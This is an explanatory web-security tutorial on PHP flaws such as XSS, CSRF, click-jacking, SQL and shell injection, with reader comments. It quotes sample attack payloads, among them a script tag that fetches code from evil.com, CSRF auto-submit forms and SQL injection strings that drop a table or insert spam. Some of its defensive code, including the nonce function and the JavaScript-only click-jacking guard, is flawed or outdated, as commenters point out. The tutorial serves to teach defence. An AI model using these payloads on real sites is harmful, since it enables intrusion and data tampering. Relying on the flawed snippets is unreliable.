Common Security Mistakes in Web Applications

Advertisement

Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.

There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.

We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.

1. Cross-Site Scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.

Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

<?php
  echo "$user said $message";
?>

To read the message in from the user, we’d have code like this:

<?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>

(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension1.

We can change our PHP code to the following:

<?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">

Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode2, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-Site Request Forgery (CSRF)

A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.

Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;">

Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.

Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>

Which will POST the form back to www.mybiz.com.

The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.

There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce3, wp_verify_nonce4 and wp_salt5 functions in the WordPress source code6. A simple nonce may be generated like this:

<?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?>

The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.

An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

<?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?>

We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

<?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?>

This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.

If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.

3. Click-Jacking

While not on the OWASP top ten list for 20107, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.

Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack8.

Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways9 to prevent frame busting in Firefox as well.

A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

<input type="text" name="message" value="<?php echo $message ?>">
<input id="msg_btn" type="submit" disabled="true">
<script type="text/javascript">
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
</script>

This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.

4. SQL Injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:

http://xkcd.com/327/10
Full image11 (from xkcd)

Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

<?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}
?>

The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like

test');DROP TABLE Messages;--

When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief. This kind of an attack calls attention to the attacker, but little else. It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users. Consider this message instead:

test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...

Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.

Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer12 makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.

<?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh->prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt->execute(array($user, $message));
}
?>

This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.

There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell Injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.

Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system()13, exec()14 or ``15 commands. There may be more functions depending on the language you use when building your web app.

The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd()16 and escapeshellarg()17 functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.

If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.

6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.

  1. Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
  2. Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
  3. Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern18.
  4. Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.

If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.

Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.

Further Reading

  1. OWASP Top 10 security risks19
  2. XSS20
  3. CSRF21
  4. Phishing22
  5. Code injection23
  6. PHP’s input filters24
  7. Password anti-pattern25
  8. OAuth26
  9. Facebook Like button click-jacking27
  10. Anti-anti frame-busting28
  11. The Yahoo! Security Center29 also has articles on how users can protect themselves online.

↑ Back to topShare on Twitter

Philip Tellis is a geek, speedfreak and Chief RUM Distiller at SOASTA where he works on the mPulse product. mPulse helps site owners measure the real user perceived performance of their sites and help visualize correlations between performance and business metrics like conversions, sales, lolcats and more. You can use mPulse for free at http://www.soasta.com/free.

  1. 1

    Great article. Easy to read and understand but good tips in development.

    1
  2. 2

    This is something I really wanted to read-up on, plus you gave some extra links for further reading.

    Thanks for the resources!

    4
  3. 3

    Another tip: A download.php without restrictions to file-types allows you to download any file, including php-files, including database-connections etc… With a bit of (bad) luck the database is easily reachable and contains a lot of user-data, CMS info… etc…

    10
  4. 4

    Just one thing I wanted to bring up – making submit forms disabled by default is pretty bad for users surfing without JavaScript – is there any other way? Also, isn’t the correct way to markup a disabled element is by setting disabled=”disabled”, not to “true” ?

    Thanks for posting a good read.

    6
  5. 5

    Thanks for the nice article. Here http://phpsec.org/projects/ you can find more information about each kind of attacks in PHP.
    Personally against XSS attack i don’t want to use any kind of cleaning function, i always use regular expressions and allow only characters i need.
    Don’t forget that the first rule is you don’t trust anyone of your visitors and the second rule is you don’t trust anyone of your visitors.

    1
  6. 6

    On Click-jacking: Since attacker uses JavaScript to move the mouse, his attack might not be very effective when JavaScript is disabled , and when JavaScript is enabled use frame-breaker code!
    if(top!=self)
    top.location.href = “http://www.mysitehomepage.com”;

    This actually redirects user to your-home page when your page is embedded as frame. and attacker will be pissed off!!

    -6
  7. 7

    Finally an article that is useful for me. I wonder if htaccess’s mod_rewrite can also help us preventing SQL injection and the likes ?
    for example : domain.com/article/2009/10/1/ translates to domain.com?p=article&year=2009&month=10&id=1
    so if the attacker enter domain.com/article/2009/10/test’);DROP TABLE Messages;–
    will fail because we don’t allowed any character other than number.
    is this foolproof ?

    0
  8. 8

    What about addressing session hijacking for authenticated users? Working at Yahoo I sure you see this type of attack and I am sure myself and others are interesting in techniques to evade this type of attack.

    2
  9. 9

    I love to see articles about security. Too many folks who think PHP is easy to program tend to overlook even basic security issues such as validating form input, etc.

    Very nice article! Thanks.

    -1
  10. 10

    I would advise against this. Application security belongs in the application, not in your rewriting rules. Every layer of your application should be secure and NOT rely on another layer to be secure.

    0
  11. 11

    “surprisingly”, all examples are in PHP :-)

    1
  12. 12

    Nice article, haven’t used input filters. Will definitely read upon them now, thanks for providing the further reading links too.

    0
  13. 13

    Here is a great article in cross-site scripting you guys: http://ha.ckers.org/xss.html

    1
  14. 14

    Thank you Philip, you just made my day.

    -1
  15. 15

    Thank you for writing this article on these security topics. Really well written. It explained to me why the nonce field in WordPress is needed, never understood it before.

    0
  16. 16

    Attackers don’t use Javascript to move the mouse (I’m 99% sure that’s not even POSSIBLE with JS). What they do is put the iframe in the page with opacity 0 (i.e. completely invisible) then put buttons or links in appropriate places underneath the iframe.

    So the user goes to click a cute kitten image, but they actually click the invisible “Post this message” button or something similar.

    0
  17. 17

    Yes, that is an unfortunate side-effect like I mentioned at the end of the section. The problem we’re trying to fix is where the user has javascript enabled, but the owner of the page disables it for the iframe. One interesting thought though, is that users with javascript disabled are probably not at risk from click-jacking, but I don’t know of an easy way to deal with both use cases.

    Regarding the disabled setting, the HTML 4.01 spec states that it’s a boolean field, so technically just its presence is sufficient.

    Thanks for your comments.

    1
  18. 18

    The attacker can disable javascript only for the iframe using the security=”restricted” attribute so that the attacker’s javascript works, but yours doesn’t.

    0
  19. 19

    Maybe my next security related article :)

    0
  20. 20

    Yeah I know that’s why I asked if it can also helps us. Of course we can’t rely only on mod_rewrite, but still it adds more layer on our security. At least that’s what people are saying when I first learn about mod_rewrite.

    0
  21. 21

    Thanks for the good article.

    -1
  22. 22

    Most of these commons errors are easy to ridge with a good usage of frameworks like CodeIgniter or CakePHP and so on

    0
  23. 23

    It would be better to disable a submit button with JS *if* it is in a frame (we can find out that w/ JS). If JS is disabled – well, anyway, it is a small % of all users.

    * yes, I read about security=”restricted”, but anyway…

    1
  24. 24

    Kartlos Tchavelachvili

    October 18, 2010 11:41 am

    Filters should prevent such injections. Nice article!

    0
  25. 25

    Small %? Say, for example Facebook.com has 130M unique visitors a month. 2% of it is 2.6M user… That looks pretty much for me.

    -1
  26. 26

    I used similar technique to fight with clone of my site, which was an frame w/ my site inside, and other frame w/ ads. It actually worked for that case, but it was just a clone, not the malicious site.

    0
  27. 27

    Yes, 2% is small %. I’m talking about relative values, and you?

    Also, does someone here own a site w/ 130M visitors/month? I think, facebook is ireelevant example.

    But yeah, 2.6M is a big number.

    0
  28. 28

    The function you suggest for generating a nonce is flawed; by using ceil() and time() as you have, there is a certain time of day when each user’s generated nonce changes. If the user requests the form just before this time, they will not be able to submit it. Your second suggestion, saving the timestamp along with the nonce in a session, is better, but doesn’t give a unique nonce as it should.

    0
  29. 29

    It helps a lot! For example, you can filter out all the suspicious symbols (e.g. single and double quotes) which are not ment to be in your URLs.

    But, anyway, app itself should be secure.

    0
  30. 30

    You should *not* filter XSS on input. You should simply use `htmlspecialchars()` on output!

    Ideally, you should use XSS-safe template engine, like PHPTAL or XSLT (not PHP or Smarty, which are insecure by default).

    2
  31. 31

    Sanitize, sanitize, sanitize. Never rely on a framework, users or any client-side code to sanitize inputs. A doctor would never operate on a patient without cleaning, even what’s already thought to be clean hands. Do the same and never trust something is clean until you’ve cleaned it yourself. This will help keep us all virus free.

    I just can’t agree more with this posting. Thanks for highlighting one of the most common and serious issues in development.

    -1
  32. 32

    Good read. I also was not aware of the sanitize filters. I however usually use htmlentities on contact form inputs.

    0
  33. 33

    Yes, it was just an example. A more correct example would have been too long for the article. The WordPress source code that I point to has a more detailed example.

    1
  34. 34

    Too many people make this mistake. I mention in the article why you should filter on input and not on output. htmlspecialchars() is not sufficient. It depends on context.

    0
  35. 35

    No this is not a good idea, as special characters can be urlencoded and you won’t be able to tell them apart from acceptable ones.

    Do it at the application level.

    2
  36. 36

    Filtering on input and output is best practice, but may depend on context. +1

    -1
  37. 37

    The point is, the code should not be vulnerable in any situation, however small. The system should be ready against any situation, even unknown.

    The only solution we can think of is, maximum possible server-side validation and security. Though you can detect if JavaScript is disabled.

    0
  38. 38

    Why don’t you use the mysql_real_escape_string() function to prevent Sql injections ?
    Before making new functions, isn’t it more easier and logical to use the built-in PHP functions ? Yes.

    -4
  39. 39

    Nice read. Would be great to read more articles like this.

    1
  40. 40

    Thanks for sharing this post.I like this post.It contains good collections of security mistakes in web applications.

    0
  41. 41

    And let’s not forget the number 1 stupid thing too many social networks do: emailing you your password in plain text – gah!

    2
  42. 42

    how to implements web services in java with example

    0
  43. 43

    thks, if everybody read that post the web will be most secure….for everybody ;)
    Indian Ocean Web Agency

    1
  44. 44

    If you filter on input, you can’t reuse your data. Example: Maybe you want to send the message with an email. If you filtered the HTMl, the mail will contain entities, making it unreadable.

    4
  45. 45

    Are you sure “test’);DROP TABLE Messages;–” passed into mysql_query() would drop table?

    PHP Documentation says NO :
    “mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that’s associated with the specified link_identifier.”

    4
  46. 46

    excellent read! thanks

    0
  47. 47

    ugh… am i the only one who felt geeky because i understand what’s so funny in this comic?

    great article

    0
  48. 48

    Great article…well written and easy to understand even though I’m a .net dev and not well versed in PHP at this time. Thanks!

    0
  49. 49

    Great article! thanks a lot.

    0
  50. 50

    I know. If you’d asked me 2 years ago, I’d have agreed with you. This is a tradeoff between security and features/architectural purity. The question you have to ask is, what would be more expensive if it failed?

    0
  51. 51

    prepared statements have been around long before even mysql. It’s also easier to code-review SQL that uses prepared statements. Using mysql_real_escape_string, you could have any of the following types of code:

    $user = mysql_real_escape_string($user);
    $sql = "INSERT ... $user ...";
    

    or

    $sql = "INSERT ... " . mysql_real_escape_string($user) . " ...";
    

    or

    sprintf($sql, "INSERT ... %s ...", mysql_real_escape_string($user));
    

    In the first case, it’s possible that there are maybe 20 lines between the mysql_real_escape_string usage and the actual SQL statement. The probability of one programmer forgetting to use mysql_real_escape_string on one variable becomes quite high. Unfortunately PHP does not do taint checking of variables, so you have to rely on human review, or code scanning to find these bugs, and it’s much easier to do that if you just use the PDO interface everywhere.

    Also, prepared statements improve performance.

    3
  52. 52

    Apparently you can pass the CLIENT_MULTI_STATEMENTS flag to the mysql_connect statement, but you’re right in that it’s not common.

    1
  53. 53

    For modern browsers, the best option to prevent click-jacking is to send the X-Frame-Options header with a suitable value.

    http://blog.mozilla.com/security/2010/09/08/x-frame-options/

    It’s supported by IE8+, Opera 10.50+, Safari 4+, Chrome 4.1.249.1042+, and Firefox 3.6.9+ (or earlier with NoScript).

    With this header in place, if another page attempts to load your page in a frame or iframe, the browser won’t allow it.

    3
  54. 54

    If your submit page’s url has the session id embedded, then how would an attacker click-jack?

    For Instance:
    https://test.com/session_id/changepassword

    0
  55. 55

    Would the noscript tag be useful in the security=restricted case? You could put your unsecured form in there for users with js disabled.

    It’d be a pain in the butt to duplicate things, but there’s probably a way to auto-generate the two versions (script and noscript) on the server.

    -1
  56. 56

    Actually, if you leave the button enabled, then in javascript you can set it:

    document.getElementById(“msg_btn”).disabled = (top != self);

    That way it is enabled normally, and even for those without javascript (who like you said aren’t likely to be vulnerable to this attack anyway), and disabled for those in a frameset.

    3
  57. 57

    While concatenated statements may no longer work (by default) with a lot of databases it is still something you should be concerned with as there are still sql injection attacks that can occur. The example that was listed is one that is probably easiest to understand and relate to.

    0
  58. 58

    > The timestamp we use is the current time to an
    > accuracy of 1 day (86400 seconds), so it’s valid
    > as long as the action is executed within a day of
    > requesting the page.
    And what if i access the page at 23:55 and post my message at 00:05?

    0
  59. 59

    You said, “it depends on context,” which is exactly the reason I disagree with this point. If you sanitize the input, the temptation is to assume your data is safe. But in which context? Is it safe to use in an AWK script? Or as file names?

    In fact, this is why PHP used to have “magic quotes” on, but now doesn’t. They used to escape your input for you, now they realize that you know the context of how that input will be used better than they do, so they don’t anymore.

    http://php.net/manual/en/security.magicquotes.php

    In fact I think that even thinking about it in terms of input/output is wrong. You sanitize at the point it is needed. That could be input, that could be output. If you are not displaying the data, don’t sanitize it for display until you do.

    1
  60. 60

    see my response to Kamran above

    0
  61. 61

    Thanks, I did not know that, however, usage statistics shows that there are still a large number of IE6 users out there, so other methods will be required for a while.

    1
  62. 62

    #1 is so wrong it is pure comedy.

    -1
  63. 63

    Is there a library, or framework which cleans up the majority of the input/issues raised in this post?

    0
  64. 64

    Thanks for your very nice read!

    Just wondering: isn’t it possible (#2) to check $_SERVER['HTTP_REFERER']. If it’s within your domain allow, if not disallow?

    0
  65. 65

    Nice article!

    One question though:
    When you generate a nonce to store in the session variables, why do you also store the timestamp when it is later on not used to verify the nonce?

    (In article: point 2, 4th code block)

    0
  66. 66

    Wow, great article! ;)
    I’d love to read more about this kind of stuff.

    0
  67. 67

    This article has so many serious mistakes that it is unbelievable.

    1. Never escape data for the output in the time of saving them. The save_message() function should accept clear data and only the “echo” should escape them for HTML. The reason is that you can use the stored data also for something else or you can insert them to database from somewhere else. Another reason is that the escaped data are longer so they wouldn’t fit in varchar(N) even if they have less than N characters.

    2. The get_nonce() function uses uninitialized variables. The function is useless without saying how to properly initialize $salt (it is not so easy as it may seem). It also recommends to use Security by Obscurity design – what if attacker is an insider with knowledge of $salt?

    3. Are you forcing a user to enable JavaScript to defend against CSRF? Are you kidding? Have you ever heard about X-Frame-Options header?

    4. Have you tried the example with DROP TABLE? The mysql_query() function doesn’t allow executing more commands. It would be much better to provide a functional example than scaring people. There are still lots of ways to use SQL Injection for something real – for example retrieving all data from the database.

    Please delete this horrible article or at least fix these errors.

    0
  68. 68

    How about we delete all the languages which does very little to help the developer to prevent those security mistakes. I have this suggestion for PHP: all the input data in $_GET/$_POST should be filtered. Access to the unfiltered data could be through $_UNSAFE_GET/$_UNSAFE_POST as that would at least raise a little warning flag with the developer. Alternatively access to unfiltered data should be only through filter_input(…);

    -1
  69. 69

    sql injections: sanitize you database inputs. ;)

    0
  70. 70

    agreed. really great and useful. true true true….

    0
  71. 71

    Hi Phillip,

    This was a fantastic article, thank you!

    I was wondering how to do more advanced things with nonces and click jacking?. I can write javascript to manipulate the code inside iframes. Doing so would enable the hacker to obtain the nonce as well as remove any javascript code that disables the submit button. Or, they could lift the entire form out and display it on their own page etc…

    After I learned to do that, I became very paranoid!

    0
  72. 72

    your javascript can’t modify the code inside the iframe because of cross-domain security policies, ie, the browser won’t allow it. The attacker’s website could try and fetch your page in the background, but then they don’t have the user’s cookies, so the nonce they get will be incorrect.

    Hope this answers your question.

    0
  73. 73

    That’s the part I didn’t mention in the verify_nonce function. You’d use the timestamp to check if the nonce has expired or not.

    0
  74. 74

    Referrer can be faked, also some people (or plugins) configure the browser to not send the referrer header.

    1
  75. 75

    The input filter library helps with data sanitizing. For CSRFs, you could just copy previously documented nonce implementations, but the main thing is to never trust anything that comes from the user.

    0
  76. 76

    Great article! Thanks!

    Most probably I will check some sites I have around!

    0
  77. 77

    You might have some points but you come across as an ass, FYI.

    3
  78. 78

    While I agree with your points completely, getting burned a few times teaches you things. Too many developers either don’t know to filter or forget to filter for the right context at the right time. The approach we take at Yahoo! is to set up a default input filter so that you never get unfiltered data. If you need to accept data for a particular context, then you need to override the default filter.

    There may be cases where you need to store raw data from the user, and filter it for different contexts on output. Developers still need to override the default filter to get raw input, which makes it easier for an automated code scanner to identify cases where this happens, and someone can talk to the developer directly to make sure they know what they’re doing.

    1
  79. 79

    you can already do that in php.ini by changing filter.default. They can’t change that by default because it would break backwards compatibility. I suppose it should be a stronger recommendation on the PHP site, but failing that, we can push it as a standard for our own products and organizations.

    0
  80. 80

    I dont know coding but that comic was classic. loved it.

    0
  81. 81

    I have a couple of problems with this article, firstly there’s the javascript clickjack defence. As this has already been covered in depth by other commenters, I’ll just leave it what they said, except for adding that if you are reliant on javascript for security then you have no security. There’s no way of knowing that the user agent is able to run javascript, or the user is willing to do so.

    Second, I’ve seen you using $_REQUEST in examples, and while they’re only used in the bad examples, you never mention why using $_REQUEST is a bad idea.

    The answer to the above question is that you simply have no idea where the data you’re reading came from. It could be from a _GET, a _POST, or a _COOKIE. If you’re expecting a variable to be set in _POST but the user enters a query string that sets the same variable to a different value in _GET then you might not get the value you expect. This is wide open to all kinds of abuse, so the use of $_REQUEST in any code should be considered a code small. Get the data directly from $_GET or $_POST so you know where it’s coming from.

    Furthermore, you usually don’t need data from $_GET and $_POST at the same time, so you can use the presence of data in both as a way of detecting possible abuse attempts.

    if (($_GET) && ($_POST))
    {
    die (‘Possible abusive input detected’);
    }

    Of course there’s occasions where $_GET and $_POST may both contain data for legitimate reasons, but in these cases, you can simply omit the above code.

    -1
  82. 82

    lovely article. now time to secure my application :D

    0
  83. 83

    Don’t waste cycles giving attackers feedback. Just filter and be done with it.

    2
  84. 84

    Uh, nice article. It summarizes a set of concepts every web programmer should be aware of. I missed a mention of path traversal, though.

    1
  85. 85

    The X-Frame-Options is good but you can’t rely on this alone, even with newer browsers. I think this could easily be defeated by building a simple proxy using PHP and cURL. I would think it would be as simple as pointing the iframe to your php script that in turn uses cURL to get the page and then sends the html back to the iframe without the X-Frame_Options header. It would be a little more work for the attacker but merely a speed bump. Personally I do use this header. Just don’t rely on it.

    1
  86. 86

    And such mindsets are exactly the reason why security problems are so commonplace. Don’t be lazy and rely on someone else for your security.

    -1
  87. 87

    Better to tell the truth outright than exult with empty brainspace.

    -1
  88. 88

    simple but essential article.
    thanks.
    good for me~!:)

    0
  89. 89

    Staples’ internal systems do not sanitize inputs, so we can enter javascript, CSS and all kinds of nasty stuff in the computer problem description and the local technician as well as the repair depot staff will see it. I’m sure they’d enjoy a message box within an infinite loop that says “sanitize your freakin’ inputs!”.

    This is also the case on our college’s CS department’s page and I nearly got kicked out for popping a message box telling them about the exploit.

    People. Sanitize your inputs. Thank you.

    1
  90. 90

    I don’t think path traversal (within the htdocs path) is a security issue. If something should not be reachable via the web, then it should not be in the htdocs path. If something _is_ in the htdocs path, then you need to assume that it’s reachable by anyone determined enough and plan accordingly.

    0
  91. 91

    One thing I have to add:
    You wrote its possible that an attacker submit sth like “test’; DROP DB messages;”

    That does not work because you can just execute one query with mysql_query; and what you told are two querries.

    But really good summary ;)

    Greetings!

    0

↑ Back to top